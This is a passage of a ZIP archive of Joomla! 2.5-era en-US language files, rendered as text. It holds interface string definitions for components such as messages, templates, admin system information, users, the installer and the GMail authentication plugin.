Unread" COM_MESSAGES_TOOLBAR_MY_SETTINGS="My Settings" COM_MESSAGES_TOOLBAR_REPLY="Reply" COM_MESSAGES_TOOLBAR_SEND="Send" COM_MESSAGES_VIEW_PRIVATE_MESSAGE="Private Messages Manager: View Message" COM_MESSAGES_WRITE_PRIVATE_MESSAGE="Private Messages Manager: Write Private Message" COM_MESSAGES_XML_DESCRIPTION="Component for private messaging support in backend" JLIB_APPLICATION_SAVE_SUCCESS="Message successfully sent." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\= BB0language/en-US/en-US.plg_system_remember.sys.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Provides remember me functionality" PLG_SYSTEM_REMEMBER="System - Remember Me" PK@y>\! &language/en-US/en-US.com_templates.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Template Manager" COM_TEMPLATES_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_TEMPLATES_ASSIGNED_1="Assigned to one menu item" COM_TEMPLATES_ASSIGNED_MORE="Assigned to %d menu items" COM_TEMPLATES_BASIC_FIELDSET_LABEL="Basic Options" COM_TEMPLATES_CLICK_TO_ENLARGE="Click to enlarge." COM_TEMPLATES_CONFIG_FIELDSET_DESC="Global Configuration for Templates" COM_TEMPLATES_CONFIG_POSITIONS_DESC="Enable the preview of the module positions in the template by appending tp=1 to the web address. Also enables the Preview button in the list of templates. Please refresh the page after changing this setting." COM_TEMPLATES_CONFIG_POSITIONS_LABEL="Preview Module Positions" COM_TEMPLATES_CONFIGURATION="Template Manager Options" COM_TEMPLATES_COPY_SUCCESS="New template called %s was installed successfully." COM_TEMPLATES_ERR_XML="Template XML data non available" COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE="Cannot delete last style of a template" COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE="Cannot unset default style" COM_TEMPLATES_ERROR_COULD_NOT_COPY="Unable to copy template files to temporary directory." COM_TEMPLATES_ERROR_COULD_NOT_INSTALL="Unable to install new template from temporary directory." COM_TEMPLATES_ERROR_COULD_NOT_WRITE="Unable to delete temporary directory." COM_TEMPLATES_ERROR_CREATE_NOT_PERMITTED="Unable to create temporary directory." COM_TEMPLATES_ERROR_DUPLICATE_TEMPLATE_NAME="A template with this name already is installed." COM_TEMPLATES_ERROR_EDITOR_DISABLED="Either the CodeMirror or the None editor plug-in should be enabled to edit template files" COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND="Extension record not found in database" COM_TEMPLATES_ERROR_FAILED_TO_SAVE_FILENAME="An error occurred. The file %s could not be saved." COM_TEMPLATES_ERROR_INVALID_FROM_NAME="Template to copy from cannot be found." COM_TEMPLATES_ERROR_INVALID_TEMPLATE_NAME="Invalid template name. Please use only letters, numbers, dashes, and underscores." COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE="Unable to save a style associated to a disabled template" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND="Source file not found" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_UNWRITABLE="Source file can't be returned to unwritable status" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_WRITABLE="Source file not writable" COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH="Stored ID does not match the submitted one" COM_TEMPLATES_ERROR_STYLE_NOT_FOUND="Style not found" COM_TEMPLATES_ERROR_STYLE_REQUIRES_TITLE="The style requires a title" COM_TEMPLATES_ERROR_TEMPLATE_FOLDER_NOT_FOUND="Template folder not found" COM_TEMPLATES_FIELD_CLIENT_DESC="Whether this template is used for the frontend (0) or the backend (1)" COM_TEMPLATES_FIELD_CLIENT_LABEL="Location" COM_TEMPLATES_FIELD_HOME_ADMINISTRATOR_DESC="This template style is defined or not as default template style" COM_TEMPLATES_FIELD_HOME_LABEL="Default" COM_TEMPLATES_FIELD_HOME_SITE_DESC="If the multilingual functionality is not implemented, please limit your choice between No and All. The template style will be defined or not as global default template style.
            If the System - Language Filter plugin is enabled, and you use different template styles depending on your content languages, please assign a language to this style." COM_TEMPLATES_FIELD_SOURCE_DESC="Source code" COM_TEMPLATES_FIELD_SOURCE_LABEL="Source Code" COM_TEMPLATES_FIELD_TEMPLATE_DESC="Template Name" COM_TEMPLATES_FIELD_TEMPLATE_LABEL="Template" COM_TEMPLATES_FIELD_TITLE_DESC="Style Name" COM_TEMPLATES_FIELD_TITLE_LABEL="Style Name" COM_TEMPLATES_FILE_SAVE_SUCCESS="File successfully saved" COM_TEMPLATES_FILTER_TEMPLATE="- Select Template -" COM_TEMPLATES_FTP_DESC="For updating the template source files, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_TEMPLATES_FTP_TITLE="FTP Login Details" COM_TEMPLATES_GRID_UNSET_LANGUAGE="Unset %s Default" COM_TEMPLATES_HEADING_ASSIGNED="Assigned" COM_TEMPLATES_HEADING_DEFAULT="Default" COM_TEMPLATES_HEADING_STYLE="Style" COM_TEMPLATES_HEADING_TEMPLATE="Template" COM_TEMPLATES_MANAGER="Template Manager" COM_TEMPLATES_MANAGER_ADD_STYLE="Template Manager: Add Style" COM_TEMPLATES_MANAGER_EDIT_FILE="Template Manager: Edit File" COM_TEMPLATES_MANAGER_EDIT_STYLE="Template Manager: Edit Style" COM_TEMPLATES_MANAGER_STYLES="Template Manager: Styles" COM_TEMPLATES_MANAGER_TEMPLATES="Template Manager: Templates" COM_TEMPLATES_MANAGER_VIEW_TEMPLATE="Template Manager: Customise Template" COM_TEMPLATES_MENU_CHANGED_1="One menu item has been assigned or unassigned to this style" COM_TEMPLATES_MENU_CHANGED_MORE="%d menu items have been assigned or unassigned to this style" COM_TEMPLATES_MENUS_ASSIGNMENT="Menus assignment" COM_TEMPLATES_MSG_MANAGE_NO_STYLES="There are no styles installed matching your query" COM_TEMPLATES_MSG_MANAGE_NO_TEMPLATES="There are no templates installed matching your query" COM_TEMPLATES_N_ITEMS_DELETED="%d template styles successfully deleted" COM_TEMPLATES_N_ITEMS_DELETED_1="Template style successfully deleted" COM_TEMPLATES_NO_TEMPLATE_SELECTED="No template selected" COM_TEMPLATES_PREVIEW="Preview" COM_TEMPLATES_SITE_PREVIEW="Site preview" COM_TEMPLATES_STYLE_CANNOT_DELETE_DEFAULT_STYLE="Cannot delete default style" COM_TEMPLATES_STYLE_SAVE_SUCCESS="Style successfully saved" COM_TEMPLATES_STYLES_FILTER_SEARCH_DESC="Search in style description." COM_TEMPLATES_SUBMENU_STYLES="Styles" COM_TEMPLATES_SUBMENU_TEMPLATES="Templates" COM_TEMPLATES_SUCCESS_DUPLICATED="Style successfully duplicated." COM_TEMPLATES_SUCCESS_HOME_SET="Default style successfully set." COM_TEMPLATES_SUCCESS_HOME_UNSET="Default style successfully unset." COM_TEMPLATES_TEMPLATE_ADD_CSS="Add new stylesheet" COM_TEMPLATES_TEMPLATE_ADD_ERROR="Add custom error page template (optional)" COM_TEMPLATES_TEMPLATE_COPY="Copy Template" COM_TEMPLATES_TEMPLATE_CSS="Stylesheets" COM_TEMPLATES_TEMPLATE_DESCRIPTION="Template description" COM_TEMPLATES_TEMPLATE_DETAILS="%s Details and Files" COM_TEMPLATES_TEMPLATE_EDIT_CSS="Edit %s" COM_TEMPLATES_TEMPLATE_EDIT_ERROR="Edit error page template" COM_TEMPLATES_TEMPLATE_EDIT_MAIN="Edit main page template" COM_TEMPLATES_TEMPLATE_EDIT_OFFLINEVIEW="Edit offline page template" COM_TEMPLATES_TEMPLATE_EDIT_PRINTVIEW="Edit print view template" COM_TEMPLATES_TEMPLATE_FILENAME="Editing file "_QQ_"%s"_QQ_" in template "_QQ_"%s"_QQ_"." COM_TEMPLATES_TEMPLATE_HTML="HTML files" COM_TEMPLATES_TEMPLATE_MASTER_FILES="Template Master Files" COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC="New Template Name::Enter the name of the new template. Please use letters, numbers, and underscore only." COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL="New Template Name" COM_TEMPLATES_TEMPLATE_NO_PREVIEW="No preview available. You can enable preview in the options." COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN="No preview available for Administrator templates" COM_TEMPLATES_TEMPLATE_NO_PREVIEW_DESC="To enable template previews, enable the Preview Module Positions option in Template Options" COM_TEMPLATES_TEMPLATE_NOT_SPECIFIED="Template not specified." COM_TEMPLATES_TEMPLATE_PREVIEW="Preview" COM_TEMPLATES_TEMPLATES_FILTER_SEARCH_DESC="Search in template name or folder name." COM_TEMPLATES_TOOLBAR_SET_HOME="Make Default" COM_TEMPLATES_XML_DESCRIPTION="This component manages templates" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings."PK@y>\b41language/en-US/en-US.plg_authentication_gmail.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Authentication - GMail" PLG_GMAIL_FIELD_APPLYSUFFIX_DESC="Options for applying the suffix: Don't apply the suffix, only apply the suffix if missing (any user supplied suffix will be used) or always apply the suffix replacing any user supplied suffix" PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL="Apply Username Suffix" PLG_GMAIL_FIELD_SUFFIX_DESC="A suffix to use for the username, typically gmail.com (or googlemail.com) is the suffix but you may wish to use a Google Apps for Your Domain suffix. This doesn't include the @ symbol, if left blank username suffix will be ignored." PLG_GMAIL_FIELD_SUFFIX_LABEL="Username Suffix" PLG_GMAIL_FIELD_USER_BLACKLIST_DESC="A list of usernames not permitted to log in via the GMail plugin. The user names should be separated by a comma." PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL="User Blacklist" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS="Always use suffix" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING="Apply suffix if missing" PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX="Don't Apply Suffix" PLG_GMAIL_FIELD_VERIFYPEER_DESC="Verify the peer connection using a CA certificate. In some situations authentication will fail due to certificate issues, disabling this should resolve the situation in that case." PLG_GMAIL_FIELD_VERIFYPEER_LABEL="Verify Peer" PLG_GMAIL_XML_DESCRIPTION="Handles User Authentication with a GMail or Googlemail account (Requires cURL)
            Warning! You must have at least one authentication plugin enabled or you will lose all access to your site."PK@y>\s-~<<&language/en-US/en-US.com_media.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Media Manager" COM_MEDIA_XML_DESCRIPTION="Component for managing site media" PK@y>\}$M$M$"language/en-US/en-US.com_admin.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Admin - System Infos" COM_ADMIN_ALPHABETICAL_INDEX="Alphabetical Index" COM_ADMIN_CACHE_DIRECTORY="(Cache Directory)" COM_ADMIN_CLEAR_RESULTS="Clear results" COM_ADMIN_CONFIGURATION_FILE="Configuration File" COM_ADMIN_DATABASE_COLLATION="Database Collation" COM_ADMIN_DATABASE_VERSION="Database Version" COM_ADMIN_DIRECTORY="Directory" COM_ADMIN_DIRECTORY_PERMISSIONS="Directory Permissions" COM_ADMIN_DISABLED_FUNCTIONS="Disabled Functions" COM_ADMIN_DISPLAY_ERRORS="Display Errors" COM_ADMIN_FILE_UPLOADS="File Uploads" COM_ADMIN_GLOSSARY="Glossary" COM_ADMIN_GO="Go" COM_ADMIN_HELP="Joomla! Help" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS="Banner Manager: Banners" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS_EDIT="Banner Manager: Banners - New/Edit" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES="Banner Manager: Categories" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES_EDIT="Banner Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS="Banner Manager: Clients" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Banner Manager: Clients - New/Edit" COM_ADMIN_HELP_COMPONENTS_BANNERS_TRACKS="Banner Manager: Tracks" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS="Contact Manager: Contacts" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Contact Manager: Contacts - New/Edit" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES="Contact Manager: Categories" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES_EDIT="Contact Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES="Article Manager: Categories" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES_EDIT="Article Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_MESSAGING_INBOX="Private Messages: Inbox" COM_ADMIN_HELP_COMPONENTS_MESSAGING_READ="Private Messages: Read" COM_ADMIN_HELP_COMPONENTS_MESSAGING_WRITE="Private Messages: Write" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES="News Feeds Manager: Categories" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES_EDIT="News Feeds Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS="News Feeds Manager: Feeds" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="News Feeds Manager: Feeds - New/Edit" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER="Redirect Manager: Links" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Redirect Manager: Links - New/Edit" COM_ADMIN_HELP_COMPONENTS_SEARCH="Search Manager" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES="Web Links Manager: Categories" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES_EDIT="Web Links Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS="Web Links Manager: Web Links" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Web Links Manager: Web Links - New/Edit" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER="Article Manager: Articles" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER_EDIT="Article Manager: Articles - New/Edit" COM_ADMIN_HELP_CONTENT_FEATURED_ARTICLES="Article Manager: Featured Articles" COM_ADMIN_HELP_CONTENT_MEDIA_MANAGER="Media Manager" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extension Manager: Discover" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extension Manager: Install" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extension Manager: Manage" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extension Manager: Update" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Extension Manager: Warnings" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Language Manager: Content Languages" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Language Manager - New/Edit" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Language Manager: Installed Languages" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER="Module Manager" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER_EDIT="Module Manager - Edit" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER="Plug-in Manager: Plug-ins" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Plug-in Manager: Plug-ins - New/Edit" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Template Manager: Styles" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Template Manager: Styles - Edit" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Template Manager: Templates" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Template Manager: Templates - Edit" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Template Manager: Source - Edit" COM_ADMIN_HELP_GLOSSARY="Glossary" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER="Menu Item Manager" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menu Item Manager - New/Edit" COM_ADMIN_HELP_MENUS_MENU_MANAGER="Menu Manager" COM_ADMIN_HELP_MENUS_MENU_MANAGER_EDIT="Menu Manager - New/Edit" COM_ADMIN_HELP_SITE_GLOBAL_CONFIGURATION="Global Configuration" COM_ADMIN_HELP_SITE_MAINTENANCE_CLEAR_CACHE="Cache Manager: Clear Cache" COM_ADMIN_HELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Global Check-in" COM_ADMIN_HELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Cache Manager: Purge Expired Cache" COM_ADMIN_HELP_SITE_SYSTEM_INFORMATION="System Information" COM_ADMIN_HELP_START_HERE="Start Here" COM_ADMIN_HELP_USERS_ACCESS_LEVELS="User Manager: Access Levels" COM_ADMIN_HELP_USERS_ACCESS_LEVELS_EDIT="User Manager: Access Levels - New/Edit" COM_ADMIN_HELP_USERS_DEBUG_USER="User Manager: Debug Users Permissions" COM_ADMIN_HELP_USERS_GROUPS="User Manager: Groups" COM_ADMIN_HELP_USERS_GROUPS_EDIT="User Manager: Groups - New/Edit" COM_ADMIN_HELP_USERS_MASS_MAIL_USERS="Mass Mail Users" COM_ADMIN_HELP_USERS_USER_MANAGER="User Manager: Users" COM_ADMIN_HELP_USERS_USER_MANAGER_EDIT="User Manager: Users - New/Edit" COM_ADMIN_ICONV_AVAILABLE="Iconv Available" COM_ADMIN_INFORMATION="System Information" COM_ADMIN_JOOMLA_VERSION="Joomla! Version" COM_ADMIN_LATEST_VERSION_CHECK="Latest Version Check" COM_ADMIN_LICENSE="License" COM_ADMIN_LOG_DIRECTORY="(Log directory)" COM_ADMIN_MAGIC_QUOTES="Magic Quotes" COM_ADMIN_MBSTRING_ENABLED="Mbstring Enabled" COM_ADMIN_NA="n/a" COM_ADMIN_OPEN_BASEDIR="Open basedir" COM_ADMIN_OUTPUT_BUFFERING="Output Buffering" COM_ADMIN_PHP_BUILT_ON="PHP Built On" COM_ADMIN_PHP_INFORMATION="PHP Information" COM_ADMIN_PHP_SETTINGS="PHP Settings" COM_ADMIN_PHP_VERSION="PHP Version" COM_ADMIN_PLATFORM_VERSION="Joomla! Platform Version" COM_ADMIN_REGISTER_GLOBALS="Register Globals" COM_ADMIN_RELEVANT_PHP_SETTINGS="Relevant PHP Settings" COM_ADMIN_SAFE_MODE="Safe Mode" COM_ADMIN_SEARCH="Search" COM_ADMIN_SESSION_AUTO_START="Session Auto Start" COM_ADMIN_SESSION_SAVE_PATH="Session Save Path" COM_ADMIN_SETTING="Setting" COM_ADMIN_SHORT_OPEN_TAGS="Short Open Tags" COM_ADMIN_START_HERE="Start here" COM_ADMIN_STATUS="Status" COM_ADMIN_SYSTEM_INFO="System Info" COM_ADMIN_SYSTEM_INFORMATION="System Information" COM_ADMIN_TEMP_DIRECTORY="(Temp directory)" COM_ADMIN_UNWRITABLE="Unwritable" COM_ADMIN_USER_ACCOUNT_DETAILS="My Profile Details" COM_ADMIN_USER_AGENT="User Agent" COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_DESC="Select the Language for the Administrator Backend interface. This will only affect this User." COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_LABEL="Backend Language" COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_DESC="Select the template style for the Administrator Backend interface. This will only affect this User." COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_LABEL="Backend Template Style" COM_ADMIN_USER_FIELD_EDITOR_DESC="User Editor" COM_ADMIN_USER_FIELD_EDITOR_LABEL="Editor" COM_ADMIN_USER_FIELD_EMAIL_DESC="Enter an email for the user" COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_DESC="Select the Language for the frontend interface. This will only affect this User." COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Frontend Language" COM_ADMIN_USER_FIELD_HELPSITE_DESC="Help site for this user" COM_ADMIN_USER_FIELD_HELPSITE_LABEL="Help Site" COM_ADMIN_USER_FIELD_LASTVISIT_DESC="Last Visit Date" COM_ADMIN_USER_FIELD_LASTVISIT_LABEL="Last Visit Date" COM_ADMIN_USER_FIELD_NAME_DESC="Enter the name of the user" COM_ADMIN_USER_FIELD_NOCHANGE_USERNAME_DESC="If you want to change your Login Name, please contact a site administrator" COM_ADMIN_USER_FIELD_PASSWORD2_DESC="Confirm the user's password" COM_ADMIN_USER_FIELD_PASSWORD2_LABEL="Confirm Password" COM_ADMIN_USER_FIELD_PASSWORD_DESC="Enter the password for the user" COM_ADMIN_USER_FIELD_REGISTERDATE_DESC="Registration Date" COM_ADMIN_USER_FIELD_REGISTERDATE_LABEL="Registration Date" COM_ADMIN_USER_FIELD_TIMEZONE_DESC="Time zone for this user" COM_ADMIN_USER_FIELD_TIMEZONE_LABEL="Time Zone" COM_ADMIN_USER_FIELD_USERNAME_DESC="Enter the login name (User name) for the user." COM_ADMIN_USER_FIELD_USERNAME_LABEL="Login Name" COM_ADMIN_USER_HEADING_NAME="Name" COM_ADMIN_USER_SETTINGS_FIELDSET_LABEL="Basic Settings" COM_ADMIN_VALUE="Value" COM_ADMIN_VIEW="View" COM_ADMIN_VIEW_PROFILE_TITLE="My Profile" COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE="WebServer to PHP Interface" COM_ADMIN_WEB_SERVER="Web Server" COM_ADMIN_WRITABLE="Writable" COM_ADMIN_XML_DESCRIPTION="Administration system infos component" COM_ADMIN_XML_ENABLED="XML Enabled" COM_ADMIN_ZIP_ENABLED="Native ZIP Enabled" COM_ADMIN_ZLIB_ENABLED="Zlib Enabled" PK@y>\~S@@"language/en-US/en-US.mod_title.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TITLE="Title" MOD_TITLE_XML_DESCRIPTION="This Module shows the Toolbar Component Title" PK@y>\|733&language/en-US/en-US.com_users.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USER_LOGIN_VIEW_DEFAULT_DESC="Displays a Login Form" COM_USER_LOGIN_VIEW_DEFAULT_OPTION="Login Form" COM_USER_LOGIN_VIEW_DEFAULT_TITLE="Login Form" COM_USER_PROFILE_EDIT_DEFAULT_DESC="Edit a User Profile" COM_USER_PROFILE_EDIT_DEFAULT_OPTION="Edit User Profile" COM_USER_PROFILE_EDIT_DEFAULT_TITLE="Edit User Profile" COM_USER_PROFILE_VIEW_DEFAULT_DESC="Displays a User Profile" COM_USER_PROFILE_VIEW_DEFAULT_OPTION="User Profile" COM_USER_PROFILE_VIEW_DEFAULT_TITLE="User Profile" COM_USER_REGISTRATION_VIEW_DEFAULT_DESC="Displays a Registration Form" COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION="Default" COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE="Registration Form" COM_USER_REMIND_VIEW_DEFAULT_DESC="Displays a Username Reminder Request" COM_USER_REMIND_VIEW_DEFAULT_OPTION="Default" COM_USER_REMIND_VIEW_DEFAULT_TITLE="Username Reminder Request" COM_USER_RESET_VIEW_DEFAULT_DESC="Displays a request to Reset Password" COM_USER_RESET_VIEW_DEFAULT_OPTION="Default" COM_USER_RESET_VIEW_DEFAULT_TITLE="Password Reset" COM_USERS="Users Manager" COM_USERS_XML_DESCRIPTION="Component for managing users" PK@y>\$32language/en-US/en-US.plg_editors-xtd_image.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Button - Image" PLG_IMAGE_XML_DESCRIPTION="Displays a button to make it possible to insert images into an Article. Displays a popup allowing you to configure an image's properties and upload new image files." PK@y>\M`44#language/en-US/en-US.com_cpanel.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Control Panel" COM_CPANEL_XML_DESCRIPTION="Control panel component" PK@y>\fr:4language/en-US/en-US.plg_user_contactcreator.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin to automatically create contact information for new users" PLG_USER_CONTACTCREATOR="User - Contact Creator" PK@y>\BL))(language/en-US/en-US.com_checkin.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Checkin" COM_CHECKIN_XML_DESCRIPTION="Checkin Component"PK@y>\ڎvv$language/en-US/en-US.mod_toolbar.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Toolbar" MOD_TOOLBAR_XML_DESCRIPTION="This Module shows the toolbar icons used to control actions throughout the administrator area."PK@y>\= BB,language/en-US/en-US.plg_system_remember.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Provides remember me functionality" PLG_SYSTEM_REMEMBER="System - Remember Me" PK@y>\aa-language/en-US/en-US.plg_system_highlight.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="System - Highlight" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="System plugin to highlight specified terms." PK@y>\eY5language/en-US/en-US.plg_authentication_gmail.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Authentication - GMail" PLG_GMAIL_XML_DESCRIPTION="Handles User Authentication with a GMail or Googlemail account (Requires cURL)
            Warning! You must have at least one authentication plugin enabled or you will lose all access to your site."PK@y>\ t5?5?&language/en-US/en-US.com_installer.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Installation Manager" COM_INSTALLER_AUTHOR_INFORMATION="Author Information" COM_INSTALLER_CONFIGURATION="Installer configuration" COM_INSTALLER_ENABLED_UPDATES_1=", 1 disabled site was enabled" COM_INSTALLER_ENABLED_UPDATES_MORE=", %s disabled sites were enabled" COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED="Disable default template is not permitted" COM_INSTALLER_ERROR_METHOD="Method Not Implemented" COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED="No extensions selected" COM_INSTALLER_EXTENSION_DISABLE="Disable extension" COM_INSTALLER_EXTENSION_DISABLED="Disabled extension" COM_INSTALLER_EXTENSION_ENABLE="Enable extension" COM_INSTALLER_EXTENSION_ENABLED="Enabled extension" 